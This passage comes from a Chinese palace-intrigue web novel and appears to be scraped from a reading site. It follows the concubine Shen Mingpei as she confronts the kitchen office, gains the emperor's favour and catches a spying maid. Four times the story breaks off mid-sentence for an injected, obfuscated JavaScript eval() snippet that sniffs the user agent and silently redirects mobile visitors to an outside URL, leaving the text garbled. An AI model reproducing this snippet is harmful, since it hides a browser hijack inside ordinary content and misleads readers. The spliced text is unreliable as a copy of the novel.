宁妃不理会王美人,从她的面前经过,坐到了自己的位置上。她也不让王美人起身,慢悠悠地喝了小半杯茶水,而后轻叩杯盖,把茶杯放在小桌上。 “希望王大人带兵不要像王美人一样急躁。起来吧。” 王美人如蒙大赦,灰溜溜地回到自己的座位上,之后全程无比安静。 似乎这依然是个平平无奇的早上,直到晨定即将结束,皇后突然命令沈明珮。 “沈美人,本宫有些经文需要人抄写,”说着,皇后身边的大宫女已经捧着一大摞经文走过来,“沈美人近日得闲,应该能为本宫分忧吧?” 沈明珮当然没资格说不能。 接过经书后,皇后又说了一句:“抄写佛经讲究心诚,沈美人务必要亲自抄写才是。” “妾身领命。”沈明珮低头应下,双手接过经书。 “抄写经书并非易事,为免辛苦,沈美人这些时日就不必伺候陛下了。”皇后靠坐在主位上,俯视着沈明珮,悠然地补充道。 “妾谢娘娘体恤。”尽管心中恨极,沈明珮依然得领旨谢恩。 “起来吧,都是自家姐妹,不必如此恭敬。若是无事,便散了吧。”皇后说完,众人便陆续告退。 沈明珮捧着经文走出坤宁宫时,耳边传来一声哂笑,她侧过头,看见王美人从她面前快步走过。稍远点的地方,孟才人的视线也在她的身上,两人视线相对后,孟才人微微一笑,转身离开。 景阳宫内,寒露看着这一摞佛经,露出愁容。 “主子,我们要不要采取些行动?” 沈明珮苦笑。 这些天的冷待何尝不让她发愁?但是她没有办法。其余秀女进宫,多少有家族相助,有些时代送女入宫的甚至会有自己的人手,但是沈明珮什么都没有。不仅如此,沈家的能量还会成为她的阻力。她不过初来乍到,人生地不熟,又能怎么采取行动呢? “不是我不想,是我们现在做不到啊。那三个人可还老实?” 寒露立刻将她这几天的观察总结汇报。 之后,寒露退下,沈明珮开始抄写经书。 时人尚礼佛,京中贵妇常去寺庙,太后本人也是知名的供养人。但沈明珮并不信佛,或者说,她不相信任何宗教。 “若这世上真有神明,阿娘就不会被困在沈家的后院里受苦,甚至外婆早就在不知哪处侍奉她信仰的主了。你说你们这些经书,除了让悲惨者自我麻痹,让为恶者自我安慰,又有什么作用呢?”在用来抄写经书的小房间内,沈明珮自语。 房间内再无旁人,经书被随意地摊开在桌面上,沈明珮下笔写得飞快,但毫无诚意,抄经前该有的步骤一律没有。 到了该安寝的时刻,沈明珮才停笔,洗漱歇下。 到了第二日,即使当真不愿踏足此处,沈明珮还是准时到达坤宁宫。这一次倒是没有人再与她发生口角,只是她坐下后,两侧的人都轻声挪动凳子,与她拉开距离。 孤零零回到景阳宫后,还有经书要抄,除了午饭和晚饭,沈明珮都呆在小房间中,尽力推动进度。 但麻烦还不止这些。 抄经第五天中午,寒露忍着一肚子气回到景阳宫。 “主子,尚食局克扣份例!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887958|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说着,她将食盒打开,里面赫然只有四枚蒸饼和盐渍黄瓜条。 “奴婢同他们理论,但是他们……”话到嘴边,寒露实在说不下去了。 “说得很难听?”沈明珮马上猜到。 “是。”寒露回答。 沈明珮转身直奔小房间,寒露见状面露错愕,心中亦有些失望。但很快,她就看见沈明珮将房门锁好,快步走过来。 “走,拎着食盒,去尚食局。” “是!”她高声应到。 晌午已过,尚食局的诸位宫人正要休息片刻,两个人强闯进了厨房。 为首一人穿着宫女制式衣装,武力高强,前去拦截的宫人皆被撂倒在地。身后之人一看便是宫妃,拎着一个食盒,面色严肃。 当值的一位典膳闻声而出,见此状对二人怒目而视:“贵人何故来比闹事?” “闹事?”沈明珮冷笑,“你尚食局克扣份例,宫人出言不逊侮辱宫妃,我来维权,有何不可?” 典膳皱眉。手下宫人克扣沈美人份例就是她暗示的,她对此当然心知肚明。往日不是没有其他宫妃被克扣份例,但是真跑到尚食局闹的实属罕见。 她叫来涉事宫人,故作严厉地质问:“沈美人向本宫揭发尔等克扣主子们的份例,你们有何要辩驳的?” 宫人察觉到典膳使的眼色,心领神会,立刻反驳道:“回大人,奴婢是按例行事,不曾有克扣份例之事……” 话没说完,一个食盒直接砸到她的脸上,盐渍黄瓜条的气味扑面而来,险些将她咸晕过去。 “沈美人!”典膳心中火起,“本官敬你是宫妃,才叫你一声美人,但你是不是过于放肆了?归根结底你不过是一个未曾侍寝的低位妃嫔,在尚食局这般逞凶行恶,是不把宫规放在眼中了吗?” 她如此疾言厉色,沈明珮却无退缩之意,反而坐在了椅子上,一看便是不准备走了。 “这位典膳,我提醒你几件事。第一,我是六品美人,你是七品典膳,论品级,我高于你。第二,我便是再不得宠也是宫妃,是主子,你便是品级再高也是宫人,是仆役。第三,此事本质是你尚食局看人下菜碟,克扣主子份例,不论闹到谁的面前都是我有理。最后,我若是宁可一辈子住冷宫也要把此事捅到御前,你猜最后我们两个谁会更惨?” 说完,她便靠坐在椅子上,甚至还反客为主地喊寒露给她倒了杯茶。 “既然本美人与典膳皆自认无过,便在这里等候更高品级的人来决断吧。” 典膳见她坐在这里不走,索性也找了位置坐着不动。眼看着到了下午上工的时辰,寒露突然走到工位旁,随后像门神一样站着,不让宫人开工。时间一点点流逝,眼看着宫人们居然当真被寒露一人拦住,迟迟不能开工,打斗间还损坏了些物件,典膳终于承受不住。 “沈美人,此事乃尚食局之过,奴婢这就派人为您重新准备膳食,以后也绝不再犯,求您大人不记小人过,放奴婢一马。” 沈明珮召回寒露。 膳食很快准备好,正好是符合美人定例的午餐。沈明珮看过饭菜,扫了寒露一眼,寒露立刻心领神会,拿出银针一一尝试。 见无事发生,沈明珮冷冷地看了典膳一眼,带领寒露离开。 当天晚上,白日涉事典膳便被降为九品,其余涉事宫人全部被贬出尚食局。 5. 召幸 沈明珮再一次踏入坤宁宫时,在场的所有低位妃嫔都噤若寒蝉。 等待皇后的过程中全场都很安静,倒是行礼问安后,宁妃打破了这份沉寂。 “听闻昨日尚食局有那不长眼的宫人克扣主子膳食,惹得主子亲自前去理论?”她一边说着,一边视线扫过沈明珮,“依妾身看,连七品典膳都能出这等差错,尚食局当真应该细细整顿一番了。” “此事尚食局确实有过,本宫也已责罚涉事宫人,宁妃这般言论,可是对本宫的处罚不满?”皇后的心情不算美妙,狠狠将话头压了回去,“沈美人被克扣份例,固然是受了委屈,但大闹尚食局的行为亦是违反宫规。念在是尚食局有错在先,此次只扣你一个月份例,另损坏物件由你偿还。” “是。”沈明珮痛快应下。 皇后心底闪过一抹疑惑。自从皇帝登极以来,她不止一次听母亲提起过姑姑家中那个碍眼的刘孺人和她的弟弟刘总督,也知道沈二郎升任指挥佥事后她的姑姑姑父是何等的不爽。她顺势提议把沈四姑娘许给定国公府三公子,没想到她居然入了宫。一个美人,她自然不会太在意,但也不介意在她落魄时踩上一脚。 只是她都跟沈家闹翻了,哪里来的银钱交赔偿款? 不到中午,宫人就到景阳宫收赔款,在沈明珮交了张银票后离开。之后沈明珮细数了一遍手中的小额银票,叠好后准备放在隐蔽的地方。 这些是她入宫前沈明琛交给她的。 正动作着,门外突然此传来此起彼伏的三声“奴婢见过陛下”,她立刻放下银票,走出东配殿,向那个站在屈下身的的宫人之间的身影行礼。 “妾身见过陛下。” “爱妃免礼。”皇帝说着将她扶起来,她顺势抬起头。 眼前之人相貌英武,穿着一身明黄常服,头戴黑色翼善冠。他心情应该还不错,话语间还带点笑意。 “爱妃不带朕进去坐坐吗?” “陛下请。”沈明珮立刻带路。 走进东配殿,那摞银票还整整齐齐地摆在桌上,皇帝走过去翻看一番,又笑了。 “沈卿这是把所有的家底都给爱妃了啊。” 沈明珮略略低头,羞赧地笑了笑:“兄长确实对妾很好。” “刘卿也曾在折子中说沈卿作战勇猛。” 这话沈明珮不知道该怎么接,只摆出得体的微笑。好在这时寒露端着茶过来,为她解了围。 皇帝拿起茶杯,将其中茶水一饮而尽。 “你这宫女不错,甚有刘卿之风。” 寒露何时展现武将之风了?只有前日在尚食局时。沈明珮摸不准皇帝的意思,简单思索后率先告罪。 “妾身当日实在是愤慨,故而未按宫规独自行事,请陛下恕罪。” “爱妃不过为求自保,何错之有?”皇帝说着自己拿起茶壶,倒满整个茶杯,“不必拘束,朕不是洪水猛兽,不吃人。” 沈明珮渐渐放松起来。交谈间,宫人呈上午膳。皇帝的午膳自然比美人丰盛许多,山珍海味皆有,还有南方呈上的贡果。沈明珮自觉地承担起试毒的职责,每道菜先尝过第一口后再给皇帝布菜。 一顿饭吃得很安静。皇帝动作有条不紊,每道菜吃的量都一样,吃饱后喊宫人撤掉,每道菜都剩了不少,有的便赏给下人,剩下的则归了牲口。 “朕晚上再见你。”吃饱喝足后,皇帝念起政事,起身离开。 沈明珮起身相送,直到景阳宫门前,才姿态优美地行礼。 “妾恭送陛下。” 见皇帝的身影逐渐远去,沈明珮回到东配殿的小房间中。复盘了一遍中午的表现后,她继续奋笔疾书。 皇宫就这么大,皇帝终于见了沈美人一事下午还未过半就传遍了整个皇宫。 坤宁宫内,皇后得此消息,淡定地吩咐大宫女:“告诉沈美人,佛经不必再抄了,莫要倨傲。” 慈宁宫内,太后听到禀报时正在礼佛,闻言险些拽断了手中的念珠。 “不到一个月,”她语气阴沉,“这就是本宫的好皇儿给本宫的交代。贱人的孩子也是贱骨头,这么多年也养不熟。” 在她身边的只有陪伴她多年的老宫女,闻言低下头:“娘娘息怒。” “本宫有什么可怒的,他是个什么东西,荣嘉元年我们不就知道了?来日方长。” 说完,她将此事抛之脑后,闭上眼睛,继续转动念珠,吟诵佛经。 沈明珮正抄写经文,小房间的门忽然被寒露推开。 “主子,皇后娘娘派人来找您。” 沈明珮闻言走出小房间,看见一身女官服饰的大宫女。不等她说话,大宫女就首先行礼,道明来意。 “沈美人,我家娘娘派我来知会您一声,您之后不必再抄佛经了,并让我把娘娘交给您的佛经带走。” “佛经都在这边,寒露你去拿一下。”沈明珮指向小房间,寒露立刻走进去,很快又端着当初那一大摞经文出来。 大宫女接过经书,告辞离开。 没有了皇帝,晚饭又恢复了平日的状态。沈明珮没有吃太多,吃完饭后简单走了走,随后便沐浴梳妆。 梳妆台前,白菊为她化了一个淡妆。 “主子似乎不是很高兴?”她看着镜子里沈明珮的脸,突然问了一句。 沈明珮冷漠地扫视了她一眼,没有直接回答:“你觉得我什么模样是高兴?” 她的声音也很冷,让白菊不自觉地闭上了嘴。 寒露已经拿出几套不常穿的燕居服,沈明珮从中挑了一套穿上,又拿了根白玉簪差在发髻上,便坐在床上安静等待。 不多时,敬事房的太监到来,将她抬进了乾清宫。她一下轿,就有数个宫女太监围过来,从上到下摸索了一整遍,确定没有藏什么暗器才放她继续向前走。 皇帝已经换下了白日的龙袍,穿上一身石青道袍。他看见从走进寝殿的沈明珮,眼前一亮。 “爱妃甚美。” 这话确实没错。沈明珮此时一身月白横罗长衫,下着藕荷马面裙,头戴白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887959|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉簪,本就秀丽的面容更添了几分清雅。 “谢陛下夸赞。”一路折腾,沈明珮已经有些疲倦,只微微低头以示娇羞。 皇帝拉着她坐到床边,顺势让她坐在自己腿上,将她圈住。沈明珮顿觉浑身战栗,连忙压制心中不适,将自己靠在他的身上,以掩盖这份异常。 好在皇帝并未发现。 “朕这些时日一直冷落于你,爱妃可有难过?” 难过?什么难过?日子难过吗?我在宫里日子会不会难过你这个始作俑者之一会不清楚吗? 沈明珮心下腹诽,嘴上则是另一番说辞,抬起头,感激地看着皇帝:“陛下救妾于水火之中,赐妾一处安居之所,已是妾几世修来的缘分,怎可贪求更多?” 皇帝笑出了声,将她抱起来,放到床上,自己欺身而上。 “你可以贪求更多。” 沈明珮迷迷糊糊中回到了满是高楼大厦的世界,她身穿制服,走进一座带着威严的楼房中,奔赴刚考上不久的岗位。疲惫中闭上眼睛,她又被锁在一个古香古色的狭小房间内,穿着老气的上袄下裙,衣料下是伤痕累累、瘦成骨架的身体。转瞬之间,她又一身华服被锁在金色的牢笼中,四周是华贵的家具摆件,主位上坐着一个衣着华贵的人,正一动不动地盯着她。 她想要回看过去,还未看清那人的脸,便醒了。 “醒了?”她睁开眼睛,见皇帝已经穿好四团龙袍,赫然是准备上朝了。 她立刻起身,见天色已然微明,不顾全身的酸痛,就要起身请罪。 “不必告罪,”皇帝阻止道,“是朕允你呆到这时候的。你可以再呆一阵子,朕上朝去了。” “妾恭送陛下。”沈明珮自然不会再坐着,起身送他到寝殿门口。 之后她并没有再呆在乾清宫。本朝同前朝初年一样,皇帝可召幸妃嫔,亦可前往后妃住所临幸,但为吸取前朝某次宫变中皇帝遇刺险些丧命的教训,凡被召幸者需先验身方可进乾清宫,而且不得留宿。故而沈明珮在此一觉睡到天色将明定然是违反祖制的。她目前只是美人,虽有皇帝允许,也不敢继续呆下去,自然快速收拾好自己,而后回到景阳宫。 坐在回景阳宫的小轿上,沈明珮又补了一觉。轿子晃晃悠悠,她睡得也不安稳,没一会儿便又睁开眼睛。 这下她是彻底睡不着了。 昨晚白菊说看她不是很高兴,其实并没有说错,在这个时代十六年,并没有多少能让她真正感到高兴的事。进宫是为自保,侍寝也不过是为了在宫里不被苛待地活下去,为生存之事,又有什么值得高兴的? 只是能留宿一夜确实出人意料,在为自己带来风波的同时也会为自己带来一定便利。沈明珮想着,露出了满意的微笑。 轿子停下,沈明珮走下轿子,看到守在宫门前的寒露和白芷三人。见她下轿,四人立刻走上前,排成一排站到她面前。 “恭喜主子!主子大喜!”四人笑容满面。 沈明珮在他们的簇拥下回到东配殿中。 6. 再幸 “沈美人今日来得甚早。”沈明珮一踏进坤宁宫,张美人便说。 沈明珮淡然坐到自己的座位上,对其他人的目光视而不见,只回复张美人:“不能误了请安的时辰。” 张美人点点头,不再言语,气氛立刻便彻底安静下来。沉默蔓延了半晌后,孟才人才怯生生地看过来。 “恭喜姐姐终于得见天颜。”她的声音细如蚊呐,总是给人一种被欺负的感觉。 “谢妹妹贺喜。”沈明珮似乎没听出里面的名堂,笑眯眯地道谢。 孟才人不再说话,其他人各有计较,但面上皆是不动声色。 沉默中,高位妃嫔陆续到来,而后皇后出现,请安正式开始。 回到景阳宫时,皇帝赏赐的东西也到了,一副金镶白玉满池娇头面。沈明珮让寒露把东西收好,又命她带白芷、白菊出去,独独留下了宋英。出去时,寒露轻轻把东配殿的大门关上,原本很是亮堂的殿内顿时陷入昏暗。站在沈明珮面前的宋英顿觉一片阴冷拂过身体,不自觉地打了个寒颤。 “主子有何吩咐?”见沈明珮面无表情,他试探着询问。 “你自己交代你这些时日都做了什么。” “主子?”宋英瞳孔威震,立刻低下头,片刻间就决定嘴硬,“奴婢按时上下值,没有做旁的事。” 这回答不出沈明珮意料。 “呵,”她冷笑,“那你六天前和前天的晚上去做什么了?你若是执意不说,我不介意立刻派人去延祺宫。” 说罢,沈明珮直接喊寒露进来。 “主子不要!”宋英立刻跪下去,“求主子不要告诉顺嫔娘娘!奴婢是去看妹妹!” 寒露停下步伐,看向沈明珮。沈明珮一挥手,寒露立刻沉默地退出去,重新关好门。 既然招了,宋英索性毫无隐瞒,交代得一清二楚。他本是官家子弟,两年前获罪,父亲死在狱中,母亲得知消息后自尽,他和妹妹都进了宫中。他在景阳宫做洒扫太监,他妹妹在延祺宫做洒扫宫女。 “主子,奴婢的母亲并非自尽!她是被人害死的!”交代完后,他又吐出惊天消息,“奴婢的父亲获罪前一个月曾拿到一个账本,是关于定国公府的,奴婢同妹妹没入宫中后宋家就着了一场大火,一切都烧为废墟了。” 听到这么大的消息,沈明珮愣了片刻,随后定定地注视宋英的眼睛,宋英红着眼睛回视,没有分毫退避。半晌,沈明珮轻轻叹了口气。 “我知道了。你同我说这些,应该是知晓我的背景吧?但是你现在手无证据,又只是一个洒扫太监,我也只是美人,位卑言轻,不可能帮你为宋家申冤,你可明白?” “奴婢明白。”宋英点头。 “明白就好,你当下最要紧的是藏好你和你妹妹的身份,活到能够申冤的那一天。以后你照旧当值,但尽量少与你妹妹见面,我会让寒露关注她,若有困难,我会出手,”说着,沈明珮站起身,走向寝房,“起来吧,去把门打开,让她们三个进来。” “是。” 寒露三人走进来。白芷、白菊看殿内气氛如常,也没什么被砸的摆件,心中疑惑。但沈明珮已不在正屋,未经允许她们也不得进入寝房,这疑惑也只得放下。 寝房内,沈明珮伏在小案上,面对信纸,边思考边写。信是写给沈明琛的,上面先是入宫以来的大概经历,报喜不报忧地粉饰一番,再表达对兄长的挂念,希望他不要担心自己,训练与作战时注意安全。这样一封无比日常的信,很难想象她竟然会写得断断续续。 放下笔后,她又仔细检查了一遍,才装进信封中,贴好标签。 “宋英,”她推开屋门,命令道,“把这封信送到都知监,让他们送到宁前指挥所。” 宋英接过信,立刻行动。信很快便被送到都知监,当天下午便已经呈到皇帝的案上。 皇帝看完,又扔给身边太监再查验一遍,确认信纸、书墨皆无手脚,才重新装好,拿去与其他信件一并定期寄出。 看了信的皇帝熄了继续批阅政事的心,见太阳西斜,索性扔了笔,站起身。 “走,摆驾景阳宫。” 此时,景阳宫内,沈明珮刚刚给宫人们安排好以后各自的职责,忽然听到太监尖细的声音。 “皇上驾到——” 一切都被打断,沈明珮带着四个宫人一起恭迎圣驾。正欲行礼时,一只手将她拖住,随后温和的声音自头顶响起。 “爱妃不必多礼。” 手将她拖起,随后两人挽着手臂走进东配殿。 再一次走进景阳宫,皇帝以审慎的目光打量整个东配殿的陈设。景阳宫久未住人,自然没有什么像样的摆设。沈明珮住进来后,尽力布置一番,将东配殿布置成朴素但温馨的模样。皇帝见此,心中点头。 “你写给你兄长的信,字很不错。”他一边说着,一边走到书架旁,随手抽出一本书。 “是的,妾小时候一直被姨娘督促着读书习字,就渐渐把字练出来了,陛下?”沈明珮斟酌着回答,抬头打量皇帝的脸色,正好看见了皇帝抽出的那本书。 书架是沈明珮宫里最显眼的摆设。三层的架子,一本挨一本地站满了书,既有经史子集也有话本小说以及其他杂书。而皇帝没有拿那些摆在书架最醒目上的经典,反而抬手抽了一本话本子,还是译作。 “《威尼斯商人》,寒山居士译,还是最初版的,你爱看画本子?”皇帝翻开书,看了眼开头,竟不打算放回去了,“爱妃可否将此书借朕阅读两天?” “当然可以。平素无事时妾常会读些话本打发时间,这本《威尼斯商人》写的是西洋的故事,比市面上常见的话本要新奇些。”谈到书籍,沈明珮能说的便多了,见她眉眼弯弯笑意盎然,皇帝觉得放松许多。 他也跟着点评:“寒山居士好译西洋著作,也广受欢迎,只是很少听说有关于西洋诸国朝堂的书籍。” “的确如此。”沈明珮附和地点头。 拿了书的皇帝坐到桌旁,示意她在他身侧坐下。 “陪朕读一会儿书。” 沈明珮乖巧地坐下。两人就这么一起看起话本,直到晚膳传上来。 有皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887960|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的晚膳自然也是更丰盛的。荤素皆有数道自不必说,新鲜的花鲈切片煮进粥中,一口喝下去便是满满的鲜美,鱼片也鲜活滑嫩,口感极佳。酥皮点心被做成一个个可爱的形状,让人爱不释手,咬下去,穿过层层酥皮,又能吃到里面香甜的馅料。 整顿晚饭,依旧每道菜都吃相同分量的皇帝吃没吃饱沈明珮不知道,但是她自己确实是吃得很饱。 宫人们撤走餐盘时,皇帝突然对身边太监说了句:“鱼粥做得不错,赏。” 太监立刻领命退下,皇帝的旨意通过一道道固定流程传到尚食局,而后做出鱼粥的厨子再按例得到赏银。 吃饱喝足的皇帝并不打算离开,他后背靠在椅背上,问沈明珮:“你这里可有棋?” 自然是有的。沈明珮一声招呼,白芷就将棋盘、棋子全部放在桌上。 皇帝拿起一枚棋子,端详片刻,轻轻放回去,棋子碰撞间发出清脆的声响。 “可会下棋?” 沈明珮摇头:“不会。但是妾可以学。” “正好,朕也愿意教,”皇帝说着,将装有白子的棋子盒推到沈明珮面前,“同朕一起下两盘棋吧。” 沈明珮拿起一枚白子,对着棋盘思考了半天,将棋子落在了正中央。 很快她便输了。 “原来爱妃真是一点棋艺也不会啊!”皇帝也是第一次碰到输得如此干脆利落的情况,惊愕过后哈哈大笑。 沈明珮只想找个地缝钻进去。 “来来来,继续,朕定能教会你!” 说着,皇帝又拉着沈明珮下了第二盘、第三盘…… 教学成果还是有效的,至少沈明珮输得越来越慢了,但是侍立在侧的宋英仍是一脸看不下去的表情。 好在这时,先前出去传旨的太监归来,接替了宋英的位置。这位公公伺候皇帝多年,言谈举止比常人都少了点顾忌。 “这么多年,终于有人能与陛下真正地对弈了!实在是不容易啊!” 沈明珮狐疑地看向这位公公,见他一脸欣慰不似作假。她又转头看向皇帝,皇帝的脸色有一点点黑。 “赵德光,闭嘴!” “喏——”赵公公抬手轻轻扇了自己一个嘴巴,而后安静地守在一旁。 皇帝也没了继续下去的兴致,这一盘结束后就把棋子收回盒中。 “安置吧。” 浴桶中早就盛满水,等待主人的到来。简单梳洗后,沈明珮躺倒在已经有皇帝在的床上。罗衫很快便被褪了个干净,皇帝的手拂过她的皮肤,就像在抚摸一件珍宝。 床板响了半宿,直到子正已过才停下。 沈明珮这次睡得并不沉,听到身旁窸窸窣窣的穿衣声就醒了过来。她立刻坐起来,接过宫人手中的衣物,为皇帝更衣。 皇帝穿戴整齐后,她套上见对襟长衫,送他出景阳宫。快走到宫门前,皇帝停下来,转过身,摸了摸她的发顶。 “回去休息吧,不必再送了。” 这个摸头的姿势沈明珮再熟悉不过——前世她就是这么摸她养的宠物猫。 7. 抓获 沈美人连着侍寝五天。 第五天后,沈明珮一踏入坤宁宫,就立刻感觉到几束喷着火的目光。她毫无所觉一般坐下,自在地喝着茶,如在无人之境。 皇后走进正殿时,正好看见沈明珮悠然自得地品茶。这一幕于她而言无比碍眼,于是众人行过礼后她立刻出言敲打。 “沈美人这几日有些放肆了。便是陛下偏爱,做妃妾的也当劝谏陛下雨露均沾,才是贤德之举。” “皇后娘娘说得是,”沈明珮简单听听,立刻就回,“下次再有机会妾会同陛下说的,至于陛下会不会听,妾身一介妃妾也决定不了嘛。其实娘娘您也可以多提醒陛下,您是皇后,说话自然比妾一个美人有分量。” 这话其他人怎么听怎么难受——你还想有下次? 皇后本人也险些维持不住表情。她的话并没有太多分量,在这种问题上劝谏皇帝必然是无果。 她强撑着体面,坚持完这场晨定,在众人离开坤宁宫后立刻摔碎了一个瓷瓶。 “和她那个姨娘一样恶心!” 她的心腹大宫女立刻指挥宫人将碎片打扫干净,而后沏好茶,端到皇后面前。皇后端起茶杯,明前龙井入口,平息着她心底的怒火。 “娘娘不必动怒,”大宫女见她一饮而尽,又迅速倒了下一杯,“您是皇后娘娘,收拾她一个小小的美人还不是手到擒来?况且还有太后娘娘在呢。” 歇了怒火,皇后没有再像喝第一杯茶时一样牛饮,而是轻嗅茶香后细品。 “她若是老老实实做了定国公府的三少奶奶,吾日后还会放她一马,但既然不知死活地闯进宫里,吾必要她死无葬身之地。今日茶不错,可是今年新上的?” “是的,”大宫女回答,“明前的龙井,满宫除了陛下之后您和太后娘娘有呢。” 皇后闻言,心情大好。 大清早时后宫众人的目光还在接连侍寝三日的沈明珮身上,未到中午便换了人。一月一次的请平安脉中,何美人被诊出有孕。 皇帝当前共有二子二女,除了顺嫔的大公主与宁妃的二皇子外,太子与二公主为皇后所出。众人皆以为接下来有喜讯的会是某个新人,没想到却是何美人。 何美人原为小吏之女,皇帝还是亲王时便入府为妾,在那个根本没几个人的后院里身份竟仅次于当时的王妃,即现在的皇后。在王府时她颇为受宠,但皇帝登极后,她只得封美人,品级虽比两个宫女出身的宝林高,但也高得有限。随着宁妃与新人的进宫,她逐渐被遗忘,就像随着时间逐渐褪色的旧衣物一样。但现在,一切都改变了。 永和宫西配殿内,何美人喜极而泣,过了很久方才平复。当初得到入王府的圣旨时,她也曾喜不自胜,可很快便知道她不过是时任皇后用来表现自己不曾苛待皇子的工具。而后她又成了夫君用来表现孝顺的工具。避子汤一碗碗灌下去时,她想过逃跑,想过自戕甚至行刺,但全家性命让她不敢行动,王府的锦衣玉食也一遍遍提醒她,离开此处还有哪里能有这般优渥的生活? 直到皇帝登极,皇后成了太后,她不用再做那对母子演戏的工具,反而不定期地被皇帝召幸,皇帝再到她的西配殿时,也能心平气和地同她说上两句话。她便想,算了吧,至少宫中份例充足,衣食无忧,这辈子总归不算太差。 谁能想到,在她认命之后,竟然还能有这般造化呢? 她还在抹着眼泪,就见皇帝走了进来。 “你有身子,不必行礼了。”见她要行礼,皇帝立刻阻止,而后问太医她的身体情况。 听到“美人主子早年服用药物过多,这一胎需小心将养”时,何美人又一次红了眼眶。 “莫要多思,朕会指派太医照看你到孩子出生。”皇帝似乎毫无触动,见她红了眼圈还微微皱起毛眉。简单安抚过后,他便命太医离开,自己陪何美人吃了午饭。 整顿饭吃得很沉默,期间几次何美人都欲言又止,皇帝也只当没有看见。餐盘撤下去后,皇帝没再多呆,说了句“不必再送”便起驾回宫。特被开恩不必送驾的何美人看着皇帝的背影,握紧了拳头。 下午,何美人需静养,孕期内免去请安的旨意传遍六宫。 景阳宫内,沈明珮闲来无事,索性命宋英教她下棋。正学到关键之处,寒露突然闯过来。 见她面色有异,宋英非常识趣地告退,离开时还关好了所有门窗。 “说吧。”见绝了隔墙有耳的可能,沈明珮低声命令。 寒露也是低声回禀:“主子,白菊今日午后再次与启祥宫的人接头。” 沈明珮点头,又问:“他们没发现你吧?” “没有。”寒露对此非常肯定。 “那就继续盯着。” 沈明珮让寒露退下,随后召回宋英,继续学棋,三人都像是什么都没发生一般。 日子骤然平静下来,每日除去晨定都可自由安排。 这天夜里,白菊再一次偷偷摸摸地回到景阳宫时,被寒露堵了个正着。 “大半夜的,你去哪里了?”在黑暗中,寒露的眼睛犹如两盏灯,照得白菊心里发慌。 她咽了口吐沫,信口胡来:“我能去哪里,我去方便了啊。” “方便了一个时辰?需要我叫医官为你看看吗?” 寒露的话飘荡在夜色中,透出阵阵寒意。白菊立刻意识到,她暴露了。她当即便转身逃跑,随即身后一股大力袭来,她被压倒在地,双手被反剪,随后一阵脚步声袭来,她的双手被捆在一起。 压在背后的力量骤然消失,随后一只手抓着她的衣领,一提便将她提起来。 “走吧,”她听见寒露招呼宋英,“可以向主子奉命了。” 东配殿内本是一片漆黑,门打开后,灯忽然亮起一盏,白菊看见站在灯前的白芷。白芷对她视而不见,继续点亮其他灯,殿内逐渐灯火通明。 白菊又看向主位,只见端坐其上的沈明珮衣饰整齐,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887961|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是准备充分,还有什么不明白的。她心中惨然,认命地闭上眼睛,向不远处的一根柱子撞去。 寒露立刻使上力气,将她死死压在地上。 “想死?”白菊听见沈明珮的冷笑,“呵,寒露的武艺是蓟辽总督训练出来的,你想在她手里自尽,恐怕很有难度。” 寒露的武艺如何,此刻在她手里的白菊自然深有感触,她已然绝望。 “你杀了我吧。”她闭上眼睛,一副引颈就戮的姿态。 “杀了你?然后因为杀死宫人触犯宫规,再被你的主子惩罚吗?你当我傻?” 过往便有很多朝代明令禁止主家无故打死下人,唐朝时更有一宰相因妻子打死女儿家的下人被贬出长安。本朝同样禁止私自打杀下人,先帝时更有一嫔位娘娘因殴杀宫女被降为昭仪,此后再未升位。沈明珮当然不可能就这么杀死白菊。 “先把她关起来吧,”沈明珮指向她先前用来抄经书的小房间,“把她绑在椅子上,房间里不要有光,每个时辰点一次灯,亮半刻再熄。不要让她睡着,点灯时见她睡着就把她叫醒。不要给她食物,每三个时辰给她喂一次水。她若要便溺,就让她就地解决。具体排班,你们三个自行商议。” 沈明珮说完,起身走向寝房。 “是!”三人紧锣密鼓地按照沈明珮说的布置,一切准备就绪后,寒露抬着椅子将白菊放进小房间中。 